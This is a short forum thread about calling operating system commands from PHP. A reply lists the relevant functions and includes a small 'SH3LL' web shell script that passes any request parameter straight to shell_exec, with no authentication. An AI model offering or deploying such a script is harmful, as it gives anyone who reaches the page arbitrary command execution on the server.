FRIHOSTFORUMSFAQTOSBLOGSDIRECTORY
You are invited to Log in or Register a Frihost Account!

Can Php call command line interfaces on the OS

 


mike_phi
Hi there I just wanted to know if anyone has any samples of Php calling command line commands on the os, looking for the most elegant way of doing this, maybe some sort of os module exitst out there

e.g. unix type operating system being able to call mkdir, cp, ls > somefile.txt

if so please just slip me a note

cheers Mic
JayBee
All functionality depends on php safe_mode, disable_functions directives, ...

If you want only execute an external program
exec, system, shell_exec

If you want communicate with the program and manage output
popen or better proc_open

http://php.net/manual/ref.exec.php

some "php shell" script
Code:
<?php
$cmd = $_REQUEST["-cmd"];
?><html>
    <head><title>SH3LL</title></head>
<body bgcolor=#000000 text=#FFFFFF"
onLoad="document.forms[0].elements[-cmd].focus()">
  <form method=POST>
    <input type=TEXT name="-cmd" size=64 value="<?$cmd?>" style="background:#000000;color:#FFFFFF;">
      <pre><?php

        if ($cmd != "")
          print Shell_Exec($cmd);

      ?></pre>
  </form>
</body>
</html>


or better one http://mgeisler.net/php-shell/

and some useful link
http://www.mhuffman.com/notes/dos/bash_cmd.htm


I don't know if I answer what you ask Very Happy
Reply to topic    Frihost Forum Index -> Computers -> Software

FRIHOST HOME | FAQ | TOS | ABOUT US | CONTACT US | SITE MAP
© 2005-2007 Frihost, forums powered by phpBB.